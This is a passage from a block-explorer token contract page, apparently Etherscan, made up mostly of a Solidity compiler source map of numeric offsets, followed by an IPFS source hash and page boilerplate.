0533:1:0;10427:123;10615:4;10566:28;6875:18;;;:9;:18;;;;;;10658:9;;;;:37;;;;-1:-1:-1;10689:6:0;;-1:-1:-1;;;10689:6:0;;;;10688:7;10658:37;:77;;;;-1:-1:-1;10722:13:0;;-1:-1:-1;;;;;10716:19:0;;;10722:13;;10716:19;10658:77;:109;;;;-1:-1:-1;10756:11:0;;-1:-1:-1;;;10756:11:0;;;;10658:109;:171;;;;;10812:17;;10788:20;:41;;10658:171;:222;;;;;10862:18;;10850:9;;:30;10658:222;10636:1286;;;10934:14;;10919:12;:29;10915:92;;;10986:1;10973:10;:14;10915:92;11046:7;;11033:10;;:20;11025:48;;;;-1:-1:-1;;;11025:48:0;;11639:2:1;11025:48:0;;;11621:21:1;11678:2;11658:18;;;11651:30;-1:-1:-1;;;11697:18:1;;;11690:45;11752:18;;11025:48:0;11437:339:1;11025:48:0;11092:109;11131:51;11135:6;11143:38;11147:20;11169:11;;11143:3;:38::i;:::-;11131:3;:51::i;:::-;11092:16;:109::i;:::-;11220:35;11233:21;11220:12;:35::i;:::-;11274:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;11322:12:0;11305:14;:29;10636:1286;;;11379:6;;-1:-1:-1;;;11379:6:0;;;;11378:7;:47;;;;-1:-1:-1;11412:13:0;;-1:-1:-1;;;;;11406:19:0;;;11412:13;;11406:19;11378:47;:79;;;;-1:-1:-1;11446:11:0;;-1:-1:-1;;;11446:11:0;;;;11378:79;:140;;;;;11501:17;;11478:20;:40;11378:140;:191;;;;;11551:18;;11539:9;;:30;11378:191;11356:566;;;11604:109;11643:51;11647:6;11655:38;11659:20;11681:11;;11655:3;:38::i;11604:109::-;11761:21;11805:22;;11801:106;;11852:35;11865:21;11852:12;:35::i;:::-;11585:337;11356:566;8924:3009;8886:3047;11949:13;;11945:172;;12024:4;12006:24;;;;:9;:24;;;;;;:39;;12035:9;12006:28;:39::i;:::-;11997:4;11979:24;;;;:9;:24;;;;;;;:66;;;;12065:40;;-1:-1:-1;;;;;12065:40:0;;;;;;;12095:9;1361:25:1;;1349:2;1334:18;;1215:177;12065:40:0;;;;;;;;11945:172;-1:-1:-1;;;;;12145:15:0;;;;;;:9;:15;;;;;;:27;;12165:6;12145:19;:27::i;:::-;-1:-1:-1;;;;;12127:15:0;;;;;;:9;:15;;;;;:45;12199:40;12217:21;:6;12228:9;12217:10;:21::i;:::-;-1:-1:-1;;;;;12199:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;12183:13:0;;;;;;;:9;:13;;;;;:56;;;;12255:41;;;12274:21;:6;12285:9;12274:10;:21::i;:::-;12255:41;;1361:25:1;;;1349:2;1334:18;12255:41:0;;;;;;;8468:3836;8399:3905;;;:::o;1537:224::-;1657:7;1693:12;1685:6;;;;1677:29;;;;-1:-1:-1;;;1677:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1717:9:0;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;1537:224;-1:-1:-1;;;;;1537:224:0:o;1769:246::-;1827:7;1851:1;1856;1851:6;1847:47;;-1:-1:-1;1881:1:0;1874:8;;1847:47;1904:9;1916:5;1920:1;1916;:5;:::i;:::-;1904:17;-1:-1:-1;1949:1:0;1940:5;1944:1;1904:17;1940:5;:::i;:::-;:10;1932:56;;;;-1:-1:-1;;;1932:56:0;;12338:2:1;1932:56:0;;;12320:21:1;12377:2;12357:18;;;12350:30;12416:34;12396:18;;;12389:62;-1:-1:-1;;;12467:18:1;;;12460:31;12508:19;;1932:56:0;12136:397:1;1932:56:0;2006:1;1769:246;-1:-1:-1;;;1769:246:0:o;2023:132::-;2081:7;2108:39;2112:1;2115;2108:39;;;;;;;;;;;;;;;;;:3;:39::i;1206:179::-;1264:7;;1296:5;1300:1;1296;:5;:::i;:::-;1284:17;;1325:1;1320;:6;;1312:46;;;;-1:-1:-1;;;1312:46:0;;12740:2:1;1312:46:0;;;12722:21:1;12779:2;12759:18;;;12752:30;12818:29;12798:18;;;12791:57;12865:18;;1312:46:0;12538:351:1;12312:107:0;12369:7;12401:1;12397;:5;12396:15;;12410:1;12396:15;;;-1:-1:-1;12406:1:0;12312:107;-1:-1:-1;12312:107:0:o;12630:522::-;5936:6;:13;;-1:-1:-1;;;;5936:13:0;-1:-1:-1;;;5936:13:0;;;12708:29;;12730:7:::1;12708:29;12771:16;::::0;;12785:1:::1;12771:16:::0;;;;;::::1;::::0;;12747:21:::1;::::0;12771:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12771:16:0::1;12747:40;;12816:4;12798;12803:1;12798:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12798:23:0::1;;;-1:-1:-1::0;;;;;12798:23:0::1;;;::::0;::::1;12842:15;;;;;;;;;-1:-1:-1::0;;;;;12842:15:0::1;-1:-1:-1::0;;;;;12842:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12832:4;12837:1;12832:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12832:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12907:15:::1;::::0;12875:62:::1;::::0;12892:4:::1;::::0;12907:15:::1;::::0;::::1;;12925:11:::0;12875:8:::1;:62::i;:::-;12948:15;::::0;:196:::1;::::0;-1:-1:-1;;;12948:196:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;12948:15:0::1;::::0;:66:::1;::::0;:196:::1;::::0;13029:11;;13055:1:::1;::::0;13071:4;;13098::::1;::::0;13118:15:::1;::::0;12948:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12697:455;5960:1;-1:-1:-1::0;5972:6:0;:14;;-1:-1:-1;;;;5972:14:0;;;12630:522::o;13329:92::-;13386:10;;:27;;-1:-1:-1;;;;;13386:10:0;;;;:27;;;;;13406:6;;13386:10;:27;:10;:27;13406:6;13386:10;:27;;;;;;;;;;;;;;;;;;;;;13329:92;:::o;1393:136::-;1451:7;1478:43;1482:1;1485;1478:43;;;;;;;;;;;;;;;;;:3;:43::i;2163:223::-;2283:7;2318:12;2311:5;2303:28;;;;-1:-1:-1;;;2303:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2342:9:0;2354:5;2358:1;2354;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245:1:1;4231:16;;4260:5;;4057:218;;4359:2;4349:8;4346:16;4340:3;4334:4;4331:13;4327:36;4321:2;4311:8;4308:16;4303:2;4297:4;4294:12;4290:35;4287:77;4284:159;;;-1:-1:-1;4396:19:1;;;4428:5;;4284:159;4475:34;4500:8;4494:4;4475:34;:::i;:::-;4545:6;4541:1;4537:6;4533:19;4524:7;4521:32;4518:58;;;4556:18;;:::i;:::-;4594:20;;3814:806;-1:-1:-1;;;3814:806:1:o;4625:140::-;4683:5;4712:47;4753:4;4743:8;4739:19;4733:4;4712:47;:::i;4770:168::-;4843:9;;;4874;;4891:15;;;4885:22;;4871:37;4861:71;;4912:18;;:::i;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;10812:125;10877:9;;;10898:10;;;10895:36;;;10911:18;;:::i;11297:135::-;11336:3;11357:17;;;11354:43;;11377:18;;:::i;:::-;-1:-1:-1;11424:1:1;11413:13;;11297:135::o;11781:128::-;11848:9;;;11869:11;;;11866:37;;;11883:18;;:::i;11914:217::-;11954:1;11980;11970:132;;12024:10;12019:3;12015:20;12012:1;12005:31;12059:4;12056:1;12049:15;12087:4;12084:1;12077:15;11970:132;-1:-1:-1;12116:9:1;;11914:217::o;13026:127::-;13087:10;13082:3;13078:20;13075:1;13068:31;13118:4;13115:1;13108:15;13142:4;13139:1;13132:15;13158:980;13420:4;13468:3;13457:9;13453:19;13499:6;13488:9;13481:25;13525:2;13563:6;13558:2;13547:9;13543:18;13536:34;13606:3;13601:2;13590:9;13586:18;13579:31;13630:6;13665;13659:13;13696:6;13688;13681:22;13734:3;13723:9;13719:19;13712:26;;13773:2;13765:6;13761:15;13747:29;;13794:1;13804:195;13818:6;13815:1;13812:13;13804:195;;;13883:13;;-1:-1:-1;;;;;13879:39:1;13867:52;;13974:15;;;;13939:12;;;;13915:1;13833:9;13804:195;;;-1:-1:-1;;;;;;;14055:32:1;;;;14050:2;14035:18;;14028:60;-1:-1:-1;;;14119:3:1;14104:19;14097:35;14016:3;13158:980;-1:-1:-1;;;13158:980:1:o
Swarm Source
ipfs://a19055248795ba76e468409894572de24f97a3aee58359b9766cc677a078c519
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.